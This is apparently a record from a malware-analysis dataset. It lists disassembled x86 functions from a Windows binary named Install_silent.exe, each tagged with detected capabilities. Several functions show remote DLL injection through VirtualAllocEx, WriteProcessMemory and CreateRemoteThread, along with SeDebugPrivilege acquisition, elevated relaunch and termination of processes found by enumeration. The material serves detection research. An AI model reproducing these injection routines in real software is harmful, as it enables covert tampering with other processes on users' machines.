joyce8/EMBER2024-capa huggingface dataset:
Function at 0x497f50
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x4e3074]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x210], ecx
mov eax, dword [ebp - 0x210]
add eax, 0x10
push eax
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.update.cfg
mov edx, dword [ebp - 0x210]
add edx, 0x10
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4c8c9c
mov eax, dword [ebp - 0x210]
add eax, 0x10
push eax
call fcn.0045f83a
add esp, 8
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0
jne 0x497fbd
jmp 0x498031
mov dword [ebp - 0x214], 0
jmp 0x497fd8
mov ecx, dword [ebp - 0x214]
add ecx, 1
mov dword [ebp - 0x214], ecx
mov ecx, dword [ebp - 0x210]
add ecx, 0x26c
call fcn.004176d0
cmp dword [ebp - 0x214], eax
jae 0x498022
mov edx, dword [ebp - 0x218]
push edx
push 1
push 0x410
mov eax, dword [ebp - 0x214]
push eax
mov ecx, dword [ebp - 0x210]
add ecx, 0x26c
call fcn.0041ee90
push eax
call fcn.0045fdef
add esp, 0x10
jmp 0x497fc9
mov ecx, dword [ebp - 0x218]
push ecx
call fcn.0045febd
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042fc0d
mov esp, ebp
pop ebp
ret

Function at 0x498700
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
push 0x3f4
call fcn.004303c9
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
push 0x3f4
push 0
mov ecx, dword [ebp - 4]
push ecx
call fcn.00456880
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
mov dword [ecx + 0x3e8], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x10]
mov dword [eax + 0x3ec], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
mov dword [edx + 0x3f0], eax
push 0
push 0
mov ecx, dword [ebp - 4]
push ecx
push sym.Install_silent.exe_private:_static_unsigned_int___stdcall_CNsUpdate::UpdateThread_void__
push 0
push 0
call fcn.0046087a
add esp, 0x18
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x498790
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret 0xc
Function at 0x499110
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], ecx
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx ecx, word [ebp - 0x28]
cmp ecx, 9
je 0x499135
movzx edx, word [ebp - 0x28]
cmp edx, 6
jne 0x49913e
mov eax, 1
jmp 0x499140
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x499150
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ab88b
mov eax, dword fs:[0]
push eax
sub esp, 0x43c
mov eax, dword [0x4e3074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x448], ecx
mov eax, dword [ebp + 0xc]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x440], eax
cmp dword [ebp - 0x440], 0xffffffff
jne 0x4991a3
xor al, al
jmp 0x4992ae
push 0x428
push 0
lea ecx, [ebp - 0x438]
push ecx
call fcn.00456880
add esp, 0xc
mov dword [ebp - 0x438], 0x428
lea edx, [ebp - 0x438]
push edx
mov eax, dword [ebp - 0x440]
push eax
call dword [sym.imp.KERNEL32.dll_Module32FirstW]
test eax, eax
jne 0x4991ef
mov ecx, dword [ebp - 0x440]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x4992ae
mov edx, dword [ebp + 8]
push edx
lea ecx, [ebp - 0x444]
call fcn.00405080
mov dword [ebp - 4], 0
lea eax, [ebp - 0x418]
push eax
lea ecx, [ebp - 0x444]
call fcn.00409c50
test eax, eax
je 0x499231
lea ecx, [ebp - 0x218]
push ecx
lea ecx, [ebp - 0x444]
call fcn.00409c50
test eax, eax
jne 0x49926a
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp - 0x424]
mov dword [edx], eax
mov ecx, dword [ebp - 0x440]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x439], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x444]
call fcn.00405060
mov al, byte [ebp - 0x439]
jmp 0x4992ae
lea edx, [ebp - 0x438]
push edx
mov eax, dword [ebp - 0x440]
push eax
call dword [sym.imp.KERNEL32.dll_Module32NextW]
test eax, eax
jne 0x499205
mov ecx, dword [ebp - 0x440]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x43a], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x444]
call fcn.00405060
mov al, byte [ebp - 0x43a]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042fc0d
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4992d0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
mov eax, dword [0x4e3074]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x210], ecx
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x3c
push 0
lea ecx, [ebp - 0x24c]
push ecx
call fcn.00456880
add esp, 0xc
mov dword [ebp - 0x24c], 0x3c
mov dword [ebp - 0x248], 0x440
mov edx, dword [ebp + 8]
mov dword [ebp - 0x23c], edx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x240], str.runas
mov dword [ebp - 0x234], 0
lea ecx, [ebp - 0x24c]
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042fc0d
mov esp, ebp
pop ebp
ret 8

Function at 0x499370
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x4e3074]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x120], 0x11c
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x11c], 6
ja 0x4993bb
cmp dword [ebp - 0x11c], 6
jne 0x4993bf
cmp dword [ebp - 0x118], 2
jb 0x4993bf
mov al, 1
jmp 0x4993c1
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042fc0d
mov esp, ebp
pop ebp
ret

Function at 0x4993d0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ab8be
mov eax, dword fs:[0]
push eax
sub esp, 0x244
mov eax, dword [0x4e3074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x250], ecx
mov dword [ebp - 0x24c], 0
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0xffffffff
jne 0x49942b
xor eax, eax
jmp 0x499510
push 0x22c
push 0
lea eax, [ebp - 0x23c]
push eax
call fcn.00456880
add esp, 0xc
mov dword [ebp - 0x23c], 0x22c
lea ecx, [ebp - 0x23c]
push ecx
mov edx, dword [ebp - 0x240]
push edx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0
je 0x4994fd
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x244]
call fcn.00405080
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 8]
push ecx
lea ecx, [ebp - 0x244]
call fcn.00409c50
test eax, eax
jne 0x4994cc
mov edx, dword [ebp - 0x234]
push edx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x24c], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x244]
call fcn.00405060
jmp 0x4994fd
lea eax, [ebp - 0x23c]
push eax
mov ecx, dword [ebp - 0x240]
push ecx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov dword [ebp - 0x248], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x244]
call fcn.00405060
jmp 0x499465
mov edx, dword [ebp - 0x240]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042fc0d
mov esp, ebp
pop ebp
ret 4
Function at 0x4996f0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
mov eax, dword [0x4e3074]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x23c], ecx
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0xffffffff
jne 0x499727
jmp 0x4997a9
push 0x22c
push 0
lea eax, [ebp - 0x230]
push eax
call fcn.00456880
add esp, 0xc
mov dword [ebp - 0x230], 0x22c
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0
je 0x49979c
mov eax, dword [ebp - 0x228]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x23c]
call sym.Install_silent.exe_public:_bool___thiscall_CNsHook::UnInjectProc_wchar_t_const___int_
lea edx, [ebp - 0x230]
push edx
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov dword [ebp - 0x238], eax
jmp 0x499761
mov ecx, dword [ebp - 0x234]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042fc0d
mov esp, ebp
pop ebp
ret 4

Function at 0x4997c0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ab8f1
mov eax, dword fs:[0]
push eax
sub esp, 0x244
mov eax, dword [0x4e3074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x250], ecx
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0xffffffff
jne 0x499811
xor al, al
jmp 0x499908
push 0x22c
push 0
lea eax, [ebp - 0x23c]
push eax
call fcn.00456880
add esp, 0xc
mov dword [ebp - 0x23c], 0x22c
lea ecx, [ebp - 0x23c]
push ecx
mov edx, dword [ebp - 0x244]
push edx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0
je 0x4998f9
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x248]
call fcn.00405080
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 0xc]
push ecx
lea ecx, [ebp - 0x248]
call fcn.00409c50
test eax, eax
jne 0x4998c8
mov edx, dword [ebp - 0x234]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x250]
call sym.Install_silent.exe_public:_bool___thiscall_CNsHook::UnInjectProc_wchar_t_const___int_
mov ecx, dword [ebp - 0x244]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x23d], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x248]
call fcn.00405060
mov al, byte [ebp - 0x23d]
jmp 0x499908
lea edx, [ebp - 0x23c]
push edx
mov eax, dword [ebp - 0x244]
push eax
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov dword [ebp - 0x24c], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x248]
call fcn.00405060
jmp 0x49984b
mov ecx, dword [ebp - 0x244]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042fc0d
mov esp, ebp
pop ebp
ret 8
Function at 0x499930
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 8], ecx
push 1
mov ecx, dword [ebp - 8]
call sym.Install_silent.exe_public:_void___thiscall_CNsHook::AdjustTokenPrivilegesForNT_bool_
mov eax, dword [ebp + 0xc]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x499964
xor al, al
jmp 0x499a1a
mov ecx, dword [ebp - 4]
push ecx
mov ecx, dword [ebp - 8]
call sym.Install_silent.exe_public:_int___thiscall_CNsHook::IsWow64ProcessEx_void__
test eax, eax
je 0x499985
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x499a1a
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 8]
call sym.Install_silent.exe_public:_bool___thiscall_CNsHook::GetModuleAddr_wchar_t_const___unsigned_long_int__unsigned_char___
movzx eax, al
test eax, eax
jne 0x4999ab
xor al, al
jmp 0x499a1a
mov ecx, dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 0x14], ecx
lea edx, [ebp - 0x18]
push edx
push 0
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
push 0
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4999f5
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 8]
call sym.Install_silent.exe_public:_bool___thiscall_CNsHook::UnInjectProcEx_wchar_t_const___int_
jmp 0x499a1a
push 0xffffffffffffffff
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret 8
Function at 0x499b60
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x4e3074]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x20], ecx
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x499b8c
jmp 0x499c04
mov ecx, 0xc
imul edx, ecx, 0
lea eax, [ebp + edx - 0x10]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x499bb6
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x499c04
mov dword [ebp - 0x14], 1
movzx edx, byte [ebp + 8]
test edx, edx
je 0x499bce
mov dword [ebp - 0x1c], 2
jmp 0x499bd5
mov dword [ebp - 0x1c], 0
mov eax, 0xc
imul ecx, eax, 0
mov edx, dword [ebp - 0x1c]
mov dword [ebp + ecx - 8], edx
push 0
push 0
push 0
lea eax, [ebp - 0x14]
push eax
push 0
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042fc0d
mov esp, ebp
pop ebp
ret 4

Function at 0x499c20
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 4], ecx
push 0x44
push 0
lea eax, [ebp - 0x58]
push eax
call fcn.00456880
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x14]
push ecx
call fcn.00456880
add esp, 0xc
mov dword [ebp - 0x58], 0x44
push 0
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x58]
push ecx
push 0
push 0
push 0x4000004
push 0
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call fcn.00403ed0
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov esp, ebp
pop ebp
ret 8
Function at 0x499c90
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ab92f
mov eax, dword fs:[0]
push eax
sub esp, 0x350
mov eax, dword [0x4e3074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34c], ecx
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 0xffffffff
jne 0x499cdf
jmp 0x499e1a
push 0x22c
push 0
lea eax, [ebp - 0x23c]
push eax
call fcn.00456880
add esp, 0xc
mov dword [ebp - 0x23c], 0x22c
mov ecx, dword [ebp + 8]
push ecx
lea ecx, [ebp - 0x340]
call fcn.00409d00
mov dword [ebp - 0x354], eax
mov edx, dword [ebp - 0x354]
mov dword [ebp - 0x358], edx
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x358]
call fcn.00406ec0
push eax
lea ecx, [ebp - 0x350]
call fcn.00405080
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x340]
call fcn.00406ed0
lea eax, [ebp - 0x23c]
push eax
mov ecx, dword [ebp - 0x344]
push ecx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0
je 0x499dfb
mov dword [ebp - 0x35c], 0
lea edx, [ebp - 0x35c]
push edx
mov eax, dword [ebp - 0x234]
push eax
lea ecx, [ebp - 0x350]
call sym.Install_silent.exe_public:_char_const____thiscall_Json::StaticString::operator_char_const__void_const
push eax
mov ecx, dword [ebp - 0x34c]
call sym.Install_silent.exe_public:_bool___thiscall_CNsHook::GetModuleAddr_wchar_t_const___unsigned_long_int__unsigned_char___
movzx ecx, al
test ecx, ecx
je 0x499dc6
lea edx, [ebp - 0x23c]
push edx
mov eax, dword [ebp - 0x344]
push eax
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov dword [ebp - 0x348], eax
jmp 0x499d67
mov ecx, dword [ebp - 0x234]
push ecx
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x34c]
call sym.Install_silent.exe_public:_bool___thiscall_CNsHook::InjectProc_char_const___int_
lea eax, [ebp - 0x23c]
push eax
mov ecx, dword [ebp - 0x344]
push ecx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov dword [ebp - 0x348], eax
jmp 0x499d67
mov edx, dword [ebp - 0x344]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x350]
call fcn.00405060
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042fc0d
mov esp, ebp
pop ebp
ret 4
Function at 0x499e40
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ab962
mov eax, dword fs:[0]
push eax
sub esp, 0x244
mov eax, dword [0x4e3074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x250], ecx
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0xffffffff
jne 0x499e91
xor al, al
jmp 0x499f88
push 0x22c
push 0
lea eax, [ebp - 0x23c]
push eax
call fcn.00456880
add esp, 0xc
mov dword [ebp - 0x23c], 0x22c
lea ecx, [ebp - 0x23c]
push ecx
mov edx, dword [ebp - 0x244]
push edx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0
je 0x499f79
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x248]
call fcn.00405080
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 0xc]
push ecx
lea ecx, [ebp - 0x248]
call fcn.00409c50
test eax, eax
jne 0x499f48
mov edx, dword [ebp - 0x234]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x250]
call sym.Install_silent.exe_public:_bool___thiscall_CNsHook::InjectProc_char_const___int_
mov ecx, dword [ebp - 0x244]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x23d], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x248]
call fcn.00405060
mov al, byte [ebp - 0x23d]
jmp 0x499f88
lea edx, [ebp - 0x23c]
push edx
mov eax, dword [ebp - 0x244]
push eax
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov dword [ebp - 0x24c], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x248]
call fcn.00405060
jmp 0x499ecb
mov ecx, dword [ebp - 0x244]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042fc0d
mov esp, ebp
pop ebp
ret 8
Function at 0x499fb0
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0xc], ecx
push 1
mov ecx, dword [ebp - 0xc]
call sym.Install_silent.exe_public:_void___thiscall_CNsHook::AdjustTokenPrivilegesForNT_bool_
mov eax, dword [ebp + 0xc]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x499fe4
xor al, al
jmp 0x49a104
mov ecx, dword [ebp - 4]
push ecx
mov ecx, dword [ebp - 0xc]
call sym.Install_silent.exe_public:_int___thiscall_CNsHook::IsWow64ProcessEx_void__
test eax, eax
je 0x49a005
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x49a104
push 0x4c8e04
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x14], eax
push str.LoadLibraryA
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
push 4
push 0x3000
push 0x200
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 8], eax
push 0
mov edx, dword [ebp + 8]
push edx
call fcn.0045cd90
add esp, 4
add eax, 1
push eax
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
push 0
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x49a0bb
push 0x4000
push 0x200
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0xc]
call sym.Install_silent.exe_public:_bool___thiscall_CNsHook::InjectProcEx_char_const___int_
jmp 0x49a104
push 0x1f4
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x102
je 0x49a0ee
push 0x4000
push 0x200
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret 8
Function at 0x49a3d0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov eax, dword [0x4e3074]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x240], ecx
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0xffffffff
jne 0x49a407
jmp 0x49a564
push 0x22c
push 0
lea eax, [ebp - 0x230]
push eax
call fcn.00456880
add esp, 0xc
mov dword [ebp - 0x230], 0x22c
push 1
mov ecx, dword [ebp - 0x240]
call sym.Install_silent.exe_public:_void___thiscall_CNsHook::AdjustTokenPrivilegesForNT_bool_
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0
je 0x49a557
mov eax, dword [ebp - 0x228]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0
jne 0x49a49a
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov dword [ebp - 0x238], eax
jmp 0x49a44e
mov eax, dword [ebp - 0x23c]
push eax
mov ecx, dword [ebp - 0x240]
call sym.Install_silent.exe_public:_int___thiscall_CNsHook::IsWow64ProcessEx_void__
test eax, eax
je 0x49a4dc
mov ecx, dword [ebp - 0x23c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x230]
push edx
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov dword [ebp - 0x238], eax
jmp 0x49a44e
mov dword [ebp - 0x244], 0
lea ecx, [ebp - 0x244]
push ecx
mov edx, dword [ebp - 0x228]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x240]
call sym.Install_silent.exe_public:_bool___thiscall_CNsHook::GetModuleAddr_wchar_t_const___unsigned_long_int__unsigned_char___
movzx ecx, al
test ecx, ecx
jne 0x49a529
lea edx, [ebp - 0x230]
push edx
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov dword [ebp - 0x238], eax
jmp 0x49a44e
push 0
mov ecx, dword [ebp - 0x23c]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea edx, [ebp - 0x230]
push edx
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov dword [ebp - 0x238], eax
jmp 0x49a44e
mov ecx, dword [ebp - 0x234]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042fc0d
mov esp, ebp
pop ebp
ret 4